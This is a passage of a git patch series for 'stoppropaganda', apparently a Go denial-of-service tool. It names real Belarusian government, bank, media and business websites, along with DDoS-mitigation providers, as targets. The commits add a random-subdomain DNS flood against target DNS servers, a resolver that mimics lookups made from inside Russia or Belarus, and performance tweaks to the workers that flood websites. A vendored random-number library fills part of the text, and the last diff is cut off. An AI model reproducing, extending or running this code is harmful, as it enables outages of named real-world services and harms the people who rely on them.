{}, - "http://www.infotrust.ru": {}, - "http://epnow.ru": {}, - "http://ca.kamgov.ru": {}, - "http://mascom-it.ru": {}, - "http://cfmc.ru": {}, - - /* BELARUS */ - - // by gov - "https://mininform.gov.by": {}, - "https://rec.gov.by/ru": {}, - "https://www.mil.by": {}, - "https://www.government.by": {}, - "https://president.gov.by/ru": {}, - "https://www.mvd.gov.by/ru": {}, - "http://www.kgb.by/ru": {}, - "https://www.prokuratura.gov.by": {}, - "http://mfa.gov.by": {}, - "http://russia.mfa.gov.by": {}, - - // by banks - "https://www.nbrb.by": {}, - "https://belarusbank.by": {}, - "https://brrb.by": {}, - "https://www.belapb.by": {}, - "https://bankdabrabyt.by": {}, - "https://belinvestbank.by/individual": {}, - "https://api.belinvestbank.by/": {}, - "https://belpost.by": {}, - - // by business - "https://bgp.by/ru": {}, - "https://www.belneftekhim.by": {}, - "http://www.bellegprom.by": {}, - "https://www.energo.by": {}, - "http://belres.by/ru": {}, - "http://rw.by": {}, - - // by media - "http://belta.by": {}, - "https://sputnik.by": {}, - "https://www.tvr.by": {}, - "https://www.sb.by": {}, - "https://belmarket.by": {}, - "https://www.belarus.by": {}, - "https://belarus24.by": {}, - "https://ont.by": {}, - "https://www.024.by": {}, - "https://www.belnovosti.by": {}, - "https://api.belnovosti.by": {}, - "https://mogilevnews.by": {}, - "https://yandex.by": {}, - "https://www.slonves.by": {}, - "http://www.ctv.by": {}, - "https://radiobelarus.by": {}, - "https://radiusfm.by": {}, - "https://alfaradio.by": {}, - "https://radiomir.by": {}, - "https://api.radiomir.by": {}, - "https://radiostalica.by": {}, - "https://radiobrestfm.by": {}, - "https://api.radiobrestfm.by": {}, - "https://www.tvrmogilev.by": {}, - "https://minsknews.by": {}, - "https://api.minsknews.by": {}, - "https://zarya.by": {}, - "https://grodnonews.by": {}, - - /* DDOS mitigation */ - "https://ddos-guard.net/ru": {}, - "https://stormwall.pro": {}, - "https://qrator.net/ru": {}, - "https://solidwall.ru": {}, -} - type WebsiteStatus struct { Requests uint `json:"requests"` Errors uint `json:"errors"` @@ -423,7 +99,7 @@ func NewWebsite(websiteUrlStr string) (website *Website) { } func startWebsites() { - for websiteUrl := range targetWebsites { + for websiteUrl := range targets.TargetWebsites { websites[websiteUrl] = NewWebsite(websiteUrl) } From 8fdb353a5fd3d84eeb7f82237aa002c2bb161d8b Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:11:14 +0100 Subject: [PATCH 07/19] feat: inject DNS servers from dns.go --- .../customresolver/injectionresolver.go | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 internal/stoppropaganda/customresolver/injectionresolver.go diff --git a/internal/stoppropaganda/customresolver/injectionresolver.go b/internal/stoppropaganda/customresolver/injectionresolver.go new file mode 100644 index 0000000..8d972ed --- /dev/null +++ b/internal/stoppropaganda/customresolver/injectionresolver.go @@ -0,0 +1,31 @@ +package customresolver + +import ( + "context" + "net" + "time" + + "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/targets" +) + +var injectionGoResolver = &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, address string) (conn net.Conn, err error) { + tries := 3 + d := net.Dialer{ + Timeout: time.Millisecond * time.Duration(10000), + } + for i := 0; i < tries; i++ { + // use DNS targets from dns.go + for dnsTarget, _ := range targets.TargetDNSServers { + // eg. d.DialContext(ctx, "tcp", "194.54.14.186:53") + conn, err = d.DialContext(ctx, network, dnsTarget) + if err == nil { + // return first working conn to DNS + return + } + } + } + return + }, +} From acfe474fba935e4bfc04cd1cdf5e53683a2c4493 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:13:05 +0100 Subject: [PATCH 08/19] feat: use injection DNS resolver --- internal/stoppropaganda/customresolver/customgetip.go | 2 +- internal/stoppropaganda/stoppropaganda.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/internal/stoppropaganda/customresolver/customgetip.go b/internal/stoppropaganda/customresolver/customgetip.go index 27e1de9..4bc61ef 100644 --- a/internal/stoppropaganda/customresolver/customgetip.go +++ b/internal/stoppropaganda/customresolver/customgetip.go @@ -6,7 +6,7 @@ import ( ) var getIPcachedResolver = &CustomResolver{ - ParentResolver: net.DefaultResolver, + ParentResolver: injectionGoResolver, } // Modified to use stoppropaganda's CustomResolver diff --git a/internal/stoppropaganda/stoppropaganda.go b/internal/stoppropaganda/stoppropaganda.go index f8d4d36..3c5195d 100644 --- a/internal/stoppropaganda/stoppropaganda.go +++ b/internal/stoppropaganda/stoppropaganda.go @@ -76,7 +76,7 @@ func initWebsites() { func makeDialFunc() fasthttp.DialFunc { masterDialer := sockshttp.Initialize(*flagProxy, *flagProxyBypass) myResolver := &customresolver.CustomResolver{ - ParentResolver: net.DefaultResolver, + ParentResolver: customresolver.InjectionGoResolver, } dial := (&customtcpdial.CustomTCPDialer{ DialTicketsC: newConnTicketC, From 0a9624fe1f086efd4b41b5c52faeec5171297ab7 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:14:08 +0100 Subject: [PATCH 09/19] feat: use injection DNS resolver --- internal/stoppropaganda/customresolver/customgetip.go | 2 +- internal/stoppropaganda/customresolver/injectionresolver.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/internal/stoppropaganda/customresolver/customgetip.go b/internal/stoppropaganda/customresolver/customgetip.go index 4bc61ef..2a2ea07 100644 --- a/internal/stoppropaganda/customresolver/customgetip.go +++ b/internal/stoppropaganda/customresolver/customgetip.go @@ -6,7 +6,7 @@ import ( ) var getIPcachedResolver = &CustomResolver{ - ParentResolver: injectionGoResolver, + ParentResolver: InjectionGoResolver, } // Modified to use stoppropaganda's CustomResolver diff --git a/internal/stoppropaganda/customresolver/injectionresolver.go b/internal/stoppropaganda/customresolver/injectionresolver.go index 8d972ed..fb3c65b 100644 --- a/internal/stoppropaganda/customresolver/injectionresolver.go +++ b/internal/stoppropaganda/customresolver/injectionresolver.go @@ -8,7 +8,7 @@ import ( "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/targets" ) -var injectionGoResolver = &net.Resolver{ +var InjectionGoResolver = &net.Resolver{ PreferGo: true, Dial: func(ctx context.Context, network, address string) (conn net.Conn, err error) { tries := 3 From 9de5f7ad364a6ed93d734580dd0f4aece42a89ef Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:30:20 +0100 Subject: [PATCH 10/19] feat: first dial Yandex/reliable DNS, then localhost resolver --- .../customresolver/injectionresolver.go | 23 +++++++++---------- internal/stoppropaganda/targets/dns.go | 8 +++++++ 2 files changed, 19 insertions(+), 12 deletions(-) diff --git a/internal/stoppropaganda/customresolver/injectionresolver.go b/internal/stoppropaganda/customresolver/injectionresolver.go index fb3c65b..9c3396b 100644 --- a/internal/stoppropaganda/customresolver/injectionresolver.go +++ b/internal/stoppropaganda/customresolver/injectionresolver.go @@ -11,21 +11,20 @@ import ( var InjectionGoResolver = &net.Resolver{ PreferGo: true, Dial: func(ctx context.Context, network, address string) (conn net.Conn, err error) { - tries := 3 d := net.Dialer{ - Timeout: time.Millisecond * time.Duration(10000), + Timeout: time.Millisecond * time.Duration(1000), } - for i := 0; i < tries; i++ { - // use DNS targets from dns.go - for dnsTarget, _ := range targets.TargetDNSServers { - // eg. d.DialContext(ctx, "tcp", "194.54.14.186:53") - conn, err = d.DialContext(ctx, network, dnsTarget) - if err == nil { - // return first working conn to DNS - return - } + + // use DNS targets from dns.go + for _, dnsTarget := range targets.ReferenceDNSServersForHTTP { + // eg. d.DialContext(ctx, "tcp", "194.54.14.186:53") + conn, err = d.DialContext(ctx, network, dnsTarget) + if err == nil { + // return first working conn to DNS + return } } - return + + return d.DialContext(ctx, network, address) }, } diff --git a/internal/stoppropaganda/targets/dns.go b/internal/stoppropaganda/targets/dns.go index 42c6d25..04eb62f 100644 --- a/internal/stoppropaganda/targets/dns.go +++ b/internal/stoppropaganda/targets/dns.go @@ -12,3 +12,11 @@ var TargetDNSServers = map[string]struct{}{ "95.173.148.51:53": {}, "95.173.148.50:53": {}, } + +// We need to get reliable IP address +// just like we would've been in Russia/Belarus +var ReferenceDNSServersForHTTP = []string{ + // https://dns.yandex.com/ + "77.88.8.8:53", + "77.88.8.1:53", +} From 2ffc371c70aeef2b2e07e93a4ae50da35e080a8d Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:38:11 +0100 Subject: [PATCH 11/19] refactor: raname DNSServer -> DNSTarget to avoid confusion --- internal/stoppropaganda/dns.go | 38 ++++++++++++++++----------------- internal/stoppropaganda/http.go | 10 ++++----- 2 files changed, 24 insertions(+), 24 deletions(-) diff --git a/internal/stoppropaganda/dns.go b/internal/stoppropaganda/dns.go index 5a89129..e867c09 100644 --- a/internal/stoppropaganda/dns.go +++ b/internal/stoppropaganda/dns.go @@ -9,15 +9,15 @@ import ( "github.com/miekg/dns" ) -type DNSServerStatus struct { +type DNSTargetStatus struct { Requests uint `json:"requests"` Success uint `json:"success"` Errors uint `json:"errors"` LastErrorMsg string `json:"last_error_msg"` } -type DNSServer struct { - Status DNSServerStatus +type DNSTarget struct { + Status DNSTargetStatus mux sync.Mutex message *dns.Msg target string @@ -25,7 +25,7 @@ type DNSServer struct { var dnsClient *dns.Client -var dnsServers = map[string]*DNSServer{} +var dnsTargets = map[string]*DNSTarget{} func startDNS() { for targetDNSServer := range targets.TargetDNSServers { @@ -33,13 +33,13 @@ func startDNS() { message := new(dns.Msg) message.SetQuestion(questionDomain, dns.TypeA) - dnsServers[targetDNSServer] = &DNSServer{ + dnsTargets[targetDNSServer] = &DNSTarget{ message: message, target: targetDNSServer, } } - dnsChannel := make(chan *DNSServer, *flagDNSWorkers) + dnsChannel := make(chan *DNSTarget, *flagDNSWorkers) // Spawn workers for i := 0; i < *flagDNSWorkers; i++ { @@ -49,36 +49,36 @@ func startDNS() { // Issue tasks go func() { for { - for _, dns := range dnsServers { + for _, dns := range dnsTargets { dnsChannel <- dns } } }() } -func runDNSWorker(c chan *DNSServer) { +func runDNSWorker(c chan *DNSTarget) { for { - dnsServer := <-c - _, _, err := dnsClient.Exchange(dnsServer.message, dnsServer.target) + dnsTarget := <-c + _, _, err := dnsClient.Exchange(dnsTarget.message, dnsTarget.target) - dnsServer.mux.Lock() - dnsServer.Status.Requests++ + dnsTarget.mux.Lock() + dnsTarget.Status.Requests++ if err != nil { - dnsServer.Status.Errors++ + dnsTarget.Status.Errors++ switch { case strings.HasSuffix(err.Error(), "no such host"): - dnsServer.Status.LastErrorMsg = "Host does not exist" + dnsTarget.Status.LastErrorMsg = "Host does not exist" case strings.HasSuffix(err.Error(), "connection refused"): - dnsServer.Status.LastErrorMsg = "Connection refused" + dnsTarget.Status.LastErrorMsg = "Connection refused" case strings.HasSuffix(err.Error(), "i/o timeout"): - dnsServer.Status.LastErrorMsg = "Query timeout" + dnsTarget.Status.LastErrorMsg = "Query timeout" default: - dnsServer.Status.LastErrorMsg = err.Error() + dnsTarget.Status.LastErrorMsg = err.Error() } } else { - dnsServer.Status.Success++ + dnsTarget.Status.Success++ } - dnsServer.mux.Unlock() + dnsTarget.mux.Unlock() } } diff --git a/internal/stoppropaganda/http.go b/internal/stoppropaganda/http.go index d90736f..2d999a5 100644 --- a/internal/stoppropaganda/http.go +++ b/internal/stoppropaganda/http.go @@ -15,7 +15,7 @@ func fasthttpRequestHandler(ctx *fasthttp.RequestCtx) { } type StatusStruct struct { - DNS map[string]*DNSServerStatus `json:"DNS"` + DNS map[string]*DNSTargetStatus `json:"DNS"` Websites map[string]*WebsiteStatus `json:"Websites"` } type StatusService struct { @@ -27,17 +27,17 @@ type StatusService struct { func fasthttpStatusResponseHandler(ctx *fasthttp.RequestCtx) { statusService := StatusService{ AllStatus: StatusStruct{ - DNS: make(map[string]*DNSServerStatus, len(dnsServers)), + DNS: make(map[string]*DNSTargetStatus, len(dnsTargets)), Websites: make(map[string]*WebsiteStatus, len(websites)), }, } wg := sync.WaitGroup{} - wg.Add(len(dnsServers)) + wg.Add(len(dnsTargets)) wg.Add(len(websites)) - for endpoint, ds := range dnsServers { - go func(endpoint string, ds *DNSServer) { + for endpoint, ds := range dnsTargets { + go func(endpoint string, ds *DNSTarget) { ds.mux.Lock() dnsStatus := ds.Status ds.mux.Unlock() From 3b95ab9587ba772dad37c0ae02104c188e971a14 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:43:04 +0100 Subject: [PATCH 12/19] feat: add github.com/valyala/fastrand --- go.mod | 1 + go.sum | 2 ++ vendor/modules.txt | 2 ++ 3 files changed, 5 insertions(+) diff --git a/go.mod b/go.mod index b713841..ed18797 100644 --- a/go.mod +++ b/go.mod @@ -11,6 +11,7 @@ require ( github.com/andybalholm/brotli v1.0.4 // indirect github.com/klauspost/compress v1.14.4 // indirect github.com/valyala/bytebufferpool v1.0.0 // indirect + github.com/valyala/fastrand v1.1.0 // indirect ) require ( diff --git a/go.sum b/go.sum index b52b7f5..7ee4e43 100644 --- a/go.sum +++ b/go.sum @@ -16,6 +16,8 @@ github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6Kllzaw github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasthttp v1.33.0 h1:mHBKd98J5NcXuBddgjvim1i3kWzlng1SzLhrnBOU9g8= github.com/valyala/fasthttp v1.33.0/go.mod h1:KJRK/MXx0J+yd0c5hlR+s1tIHD72sniU8ZJjl97LIw4= +github.com/valyala/fastrand v1.1.0 h1:f+5HkLW4rsgzdNoleUOB69hyT9IlD2ZQh9GyDMfb5G8= +github.com/valyala/fastrand v1.1.0/go.mod h1:HWqCzkrkg6QXT8V2EXWvXCoow7vLwOFN002oeRzjapQ= github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= diff --git a/vendor/modules.txt b/vendor/modules.txt index 6b4bf30..2397027 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -23,6 +23,8 @@ github.com/valyala/bytebufferpool github.com/valyala/fasthttp github.com/valyala/fasthttp/fasthttputil github.com/valyala/fasthttp/stackless +# github.com/valyala/fastrand v1.1.0 +## explicit # golang.org/x/mod v0.5.1 ## explicit; go 1.17 golang.org/x/mod/semver From 1f694b93bf604d13528374e50f7c0e1b2d1b7bd6 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:49:43 +0100 Subject: [PATCH 13/19] feat: add github.com/valyala/fastrand vendor --- go.mod | 2 +- .../github.com/valyala/fastrand/.travis.yml | 16 ++++ vendor/github.com/valyala/fastrand/LICENSE | 21 +++++ vendor/github.com/valyala/fastrand/README.md | 76 ++++++++++++++++++ .../github.com/valyala/fastrand/fastrand.go | 79 +++++++++++++++++++ vendor/modules.txt | 1 + 6 files changed, 194 insertions(+), 1 deletion(-) create mode 100644 vendor/github.com/valyala/fastrand/.travis.yml create mode 100644 vendor/github.com/valyala/fastrand/LICENSE create mode 100644 vendor/github.com/valyala/fastrand/README.md create mode 100644 vendor/github.com/valyala/fastrand/fastrand.go diff --git a/go.mod b/go.mod index ed18797..c456e46 100644 --- a/go.mod +++ b/go.mod @@ -5,13 +5,13 @@ go 1.17 require ( github.com/miekg/dns v1.1.46 github.com/peterbourgon/ff/v3 v3.1.2 + github.com/valyala/fastrand v1.1.0 ) require ( github.com/andybalholm/brotli v1.0.4 // indirect github.com/klauspost/compress v1.14.4 // indirect github.com/valyala/bytebufferpool v1.0.0 // indirect - github.com/valyala/fastrand v1.1.0 // indirect ) require ( diff --git a/vendor/github.com/valyala/fastrand/.travis.yml b/vendor/github.com/valyala/fastrand/.travis.yml new file mode 100644 index 0000000..336ccde --- /dev/null +++ b/vendor/github.com/valyala/fastrand/.travis.yml @@ -0,0 +1,16 @@ +language: go + +go: + - 1.7 + - 1.8 + +script: + # build test for supported platforms + - GOOS=linux go build + - GOOS=darwin go build + - GOOS=freebsd go build + - GOARCH=386 go build + + # run tests on a standard platform + - go test -v ./... + diff --git a/vendor/github.com/valyala/fastrand/LICENSE b/vendor/github.com/valyala/fastrand/LICENSE new file mode 100644 index 0000000..a2b05f6 --- /dev/null +++ b/vendor/github.com/valyala/fastrand/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2017 Aliaksandr Valialkin + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/valyala/fastrand/README.md b/vendor/github.com/valyala/fastrand/README.md new file mode 100644 index 0000000..3d384c6 --- /dev/null +++ b/vendor/github.com/valyala/fastrand/README.md @@ -0,0 +1,76 @@ +[![Build Status](https://travis-ci.org/valyala/fastrand.svg)](https://travis-ci.org/valyala/fastrand) +[![GoDoc](https://godoc.org/github.com/valyala/fastrand?status.svg)](http://godoc.org/github.com/valyala/fastrand) +[![Go Report](https://goreportcard.com/badge/github.com/valyala/fastrand)](https://goreportcard.com/report/github.com/valyala/fastrand) + + +# fastrand + +Fast pseudorandom number generator. + + +# Features + +- Optimized for speed. +- Performance scales on multiple CPUs. + +# How does it work? + +It abuses [sync.Pool](https://golang.org/pkg/sync/#Pool) for maintaining +"per-CPU" pseudorandom number generators. + +TODO: firgure out how to use real per-CPU pseudorandom number generators. + + +# Benchmark results + + +``` +$ GOMAXPROCS=1 go test -bench=. github.com/valyala/fastrand +goos: linux +goarch: amd64 +pkg: github.com/valyala/fastrand +BenchmarkUint32n 50000000 29.7 ns/op +BenchmarkRNGUint32n 200000000 6.50 ns/op +BenchmarkRNGUint32nWithLock 100000000 21.5 ns/op +BenchmarkMathRandInt31n 50000000 31.8 ns/op +BenchmarkMathRandRNGInt31n 100000000 17.9 ns/op +BenchmarkMathRandRNGInt31nWithLock 50000000 30.2 ns/op +PASS +ok github.com/valyala/fastrand 10.634s +``` + +``` +$ GOMAXPROCS=2 go test -bench=. github.com/valyala/fastrand +goos: linux +goarch: amd64 +pkg: github.com/valyala/fastrand +BenchmarkUint32n-2 100000000 17.6 ns/op +BenchmarkRNGUint32n-2 500000000 3.36 ns/op +BenchmarkRNGUint32nWithLock-2 50000000 32.0 ns/op +BenchmarkMathRandInt31n-2 20000000 51.2 ns/op +BenchmarkMathRandRNGInt31n-2 100000000 11.0 ns/op +BenchmarkMathRandRNGInt31nWithLock-2 20000000 91.0 ns/op +PASS +ok github.com/valyala/fastrand 9.543s +``` + +``` +$ GOMAXPROCS=4 go test -bench=. github.com/valyala/fastrand +goos: linux +goarch: amd64 +pkg: github.com/valyala/fastrand +BenchmarkUint32n-4 100000000 14.2 ns/op +BenchmarkRNGUint32n-4 500000000 3.30 ns/op +BenchmarkRNGUint32nWithLock-4 20000000 88.7 ns/op +BenchmarkMathRandInt31n-4 10000000 145 ns/op +BenchmarkMathRandRNGInt31n-4 200000000 8.35 ns/op +BenchmarkMathRandRNGInt31nWithLock-4 20000000 102 ns/op +PASS +ok github.com/valyala/fastrand 11.534s +``` + +As you can see, [fastrand.Uint32n](https://godoc.org/github.com/valyala/fastrand#Uint32n) +scales on multiple CPUs, while [rand.Int31n](https://golang.org/pkg/math/rand/#Int31n) +doesn't scale. Their performance is comparable on `GOMAXPROCS=1`, +but `fastrand.Uint32n` runs 3x faster than `rand.Int31n` on `GOMAXPROCS=2` +and 10x faster than `rand.Int31n` on `GOMAXPROCS=4`. diff --git a/vendor/github.com/valyala/fastrand/fastrand.go b/vendor/github.com/valyala/fastrand/fastrand.go new file mode 100644 index 0000000..8d25b56 --- /dev/null +++ b/vendor/github.com/valyala/fastrand/fastrand.go @@ -0,0 +1,79 @@ +// Package fastrand implements fast pesudorandom number generator +// that should scale well on multi-CPU systems. +// +// Use crypto/rand instead of this package for generating +// cryptographically secure random numbers. +package fastrand + +import ( + "sync" + "time" +) + +// Uint32 returns pseudorandom uint32. +// +// It is safe calling this function from concurrent goroutines. +func Uint32() uint32 { + v := rngPool.Get() + if v == nil { + v = &RNG{} + } + r := v.(*RNG) + x := r.Uint32() + rngPool.Put(r) + return x +} + +var rngPool sync.Pool + +// Uint32n returns pseudorandom uint32 in the range [0..maxN). +// +// It is safe calling this function from concurrent goroutines. +func Uint32n(maxN uint32) uint32 { + x := Uint32() + // See http://lemire.me/blog/2016/06/27/a-fast-alternative-to-the-modulo-reduction/ + return uint32((uint64(x) * uint64(maxN)) >> 32) +} + +// RNG is a pseudorandom number generator. +// +// It is unsafe to call RNG methods from concurrent goroutines. +type RNG struct { + x uint32 +} + +// Uint32 returns pseudorandom uint32. +// +// It is unsafe to call this method from concurrent goroutines. +func (r *RNG) Uint32() uint32 { + for r.x == 0 { + r.x = getRandomUint32() + } + + // See https://en.wikipedia.org/wiki/Xorshift + x := r.x + x ^= x << 13 + x ^= x >> 17 + x ^= x << 5 + r.x = x + return x +} + +// Uint32n returns pseudorandom uint32 in the range [0..maxN). +// +// It is unsafe to call this method from concurrent goroutines. +func (r *RNG) Uint32n(maxN uint32) uint32 { + x := r.Uint32() + // See http://lemire.me/blog/2016/06/27/a-fast-alternative-to-the-modulo-reduction/ + return uint32((uint64(x) * uint64(maxN)) >> 32) +} + +// Seed sets the r state to n. +func (r *RNG) Seed(n uint32) { + r.x = n +} + +func getRandomUint32() uint32 { + x := time.Now().UnixNano() + return uint32((x >> 32) ^ x) +} diff --git a/vendor/modules.txt b/vendor/modules.txt index 2397027..a1fd397 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -25,6 +25,7 @@ github.com/valyala/fasthttp/fasthttputil github.com/valyala/fasthttp/stackless # github.com/valyala/fastrand v1.1.0 ## explicit +github.com/valyala/fastrand # golang.org/x/mod v0.5.1 ## explicit; go 1.17 golang.org/x/mod/semver From 9ad52247a6c2b801ba6e68b660adc11db5194d53 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:50:21 +0100 Subject: [PATCH 14/19] perf: faster dns randomization --- internal/stoppropaganda/dns.go | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/internal/stoppropaganda/dns.go b/internal/stoppropaganda/dns.go index e867c09..255c970 100644 --- a/internal/stoppropaganda/dns.go +++ b/internal/stoppropaganda/dns.go @@ -1,12 +1,12 @@ package stoppropaganda import ( - "math/rand" "strings" "sync" "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/targets" "github.com/miekg/dns" + "github.com/valyala/fastrand" ) type DNSTargetStatus struct { @@ -85,10 +85,13 @@ func runDNSWorker(c chan *DNSTarget) { var randomDomainRunes = []rune("abcdefghijklmnopqrstuvwxyz") func getRandomDomain() string { - randomLength := rand.Intn(20-6) + 6 // from 6 to 20 characters length + ".ru" + rng := new(fastrand.RNG) + randomLength := rng.Uint32n(20-6) + 6 // from 6 to 20 characters length + ".ru" + runes := uint32(len(randomDomainRunes)) b := make([]rune, randomLength) for i := range b { - b[i] = randomDomainRunes[rand.Intn(len(randomDomainRunes))] + idx := int(rng.Uint32n(runes)) + b[i] = randomDomainRunes[idx] } return string(b) + ".ru" } From 7bb986a84247d9a27d86711f96c9fb8a9676edfe Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:53:33 +0100 Subject: [PATCH 15/19] fix: randomize in every DNS request --- internal/stoppropaganda/dns.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/internal/stoppropaganda/dns.go b/internal/stoppropaganda/dns.go index 255c970..322c48e 100644 --- a/internal/stoppropaganda/dns.go +++ b/internal/stoppropaganda/dns.go @@ -59,6 +59,8 @@ func startDNS() { func runDNSWorker(c chan *DNSTarget) { for { dnsTarget := <-c + questionDomain := getRandomDomain() + "." + dnsTarget.message.SetQuestion(questionDomain, dns.TypeA) _, _, err := dnsClient.Exchange(dnsTarget.message, dnsTarget.target) dnsTarget.mux.Lock() From a67735825d8b405fed6cf777dfbb4b0d96d28bd3 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 19:17:54 +0100 Subject: [PATCH 16/19] refactor: http.go renamed to apihttp.go --- internal/stoppropaganda/{http.go => apihttp.go} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename internal/stoppropaganda/{http.go => apihttp.go} (100%) diff --git a/internal/stoppropaganda/http.go b/internal/stoppropaganda/apihttp.go similarity index 100% rename from internal/stoppropaganda/http.go rename to internal/stoppropaganda/apihttp.go From 94926d19be39b1c8f5cccc6a9ae9e64c4e1f3726 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 19:27:24 +0100 Subject: [PATCH 17/19] feat: add /dnscache debug in apihttp.go --- internal/stoppropaganda/apihttp.go | 17 +++++++++++++++++ .../customresolver/customresolver.go | 8 ++++---- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/internal/stoppropaganda/apihttp.go b/internal/stoppropaganda/apihttp.go index 2d999a5..795dae5 100644 --- a/internal/stoppropaganda/apihttp.go +++ b/internal/stoppropaganda/apihttp.go @@ -4,6 +4,7 @@ import ( "encoding/json" "sync" + "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/customresolver" "github.com/valyala/fasthttp" ) @@ -11,6 +12,8 @@ func fasthttpRequestHandler(ctx *fasthttp.RequestCtx) { switch string(ctx.Path()) { case "/status": fasthttpStatusResponseHandler(ctx) + case "/dnscache": + fasthttpDnsCacheResponseHandler(ctx) } } @@ -76,3 +79,17 @@ func fasthttpStatusResponseHandler(ctx *fasthttp.RequestCtx) { } ctx.Write(content) } + +func fasthttpDnsCacheResponseHandler(ctx *fasthttp.RequestCtx) { + + cache := customresolver.DnsCache + + dnsCacheItems := cache.Items() + content, err := json.MarshalIndent(dnsCacheItems, "", " ") + if err != nil { + ctx.SetStatusCode(500) + ctx.WriteString("failed to marshal data") + return + } + ctx.Write(content) +} diff --git a/internal/stoppropaganda/customresolver/customresolver.go b/internal/stoppropaganda/customresolver/customresolver.go index 9b0e12a..bb382e9 100644 --- a/internal/stoppropaganda/customresolver/customresolver.go +++ b/internal/stoppropaganda/customresolver/customresolver.go @@ -8,7 +8,7 @@ import ( "github.com/patrickmn/go-cache" ) -var dnscache *cache.Cache +var DnsCache *cache.Cache type CustomResolver struct { ParentResolver *net.Resolver @@ -19,17 +19,17 @@ type Resolver interface { } func (cr *CustomResolver) LookupIPAddr(ctx context.Context, host string) (names []net.IPAddr, err error) { - if c, found := dnscache.Get(host); found { + if c, found := DnsCache.Get(host); found { return c.([]net.IPAddr), nil } names, err = cr.ParentResolver.LookupIPAddr(ctx, host) if err == nil { - dnscache.SetDefault(host, names) + DnsCache.SetDefault(host, names) } return } func init() { - dnscache = cache.New(5*time.Minute, 10*time.Minute) + DnsCache = cache.New(5*time.Minute, 10*time.Minute) } From fec7f8cda73f2738ecb558aff1327edba20539a8 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 19:43:57 +0100 Subject: [PATCH 18/19] fix: revert fasthttp.ReleaseResponse Program uses a lot less memory after few minutes. Keeping response object and holding body buffer was bad idea i suppose. --- internal/stoppropaganda/websites.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/internal/stoppropaganda/websites.go b/internal/stoppropaganda/websites.go index 131511d..2c1b363 100644 --- a/internal/stoppropaganda/websites.go +++ b/internal/stoppropaganda/websites.go @@ -174,7 +174,6 @@ func (ws *Website) allowedToRun() bool { func runWebsiteWorker(c chan *Website) { // Each worker has it's own response req := fasthttp.AcquireRequest() - resp := fasthttp.AcquireResponse() for { ws := <-c @@ -187,6 +186,7 @@ func runWebsiteWorker(c chan *Website) { ws.req.CopyTo(req) // https://github.com/valyala/fasthttp/issues/53#issuecomment-185125823 + resp := fasthttp.AcquireResponse() // Perform request err := httpClient.DoTimeout(req, resp, *flagTimeout) if err != nil { @@ -195,6 +195,7 @@ func runWebsiteWorker(c chan *Website) { ws.statusMux.Unlock() continue } + fasthttp.ReleaseResponse(resp) // Increase counters ws.statusMux.Lock() From 8f3aa1b9868ba0ed61c0bd07993ef6f86bda80bd Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 19:55:26 +0100 Subject: [PATCH 19/19] perf: reuse fastrand.RNG --- internal/stoppropaganda/dns.go | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/internal/stoppropaganda/dns.go 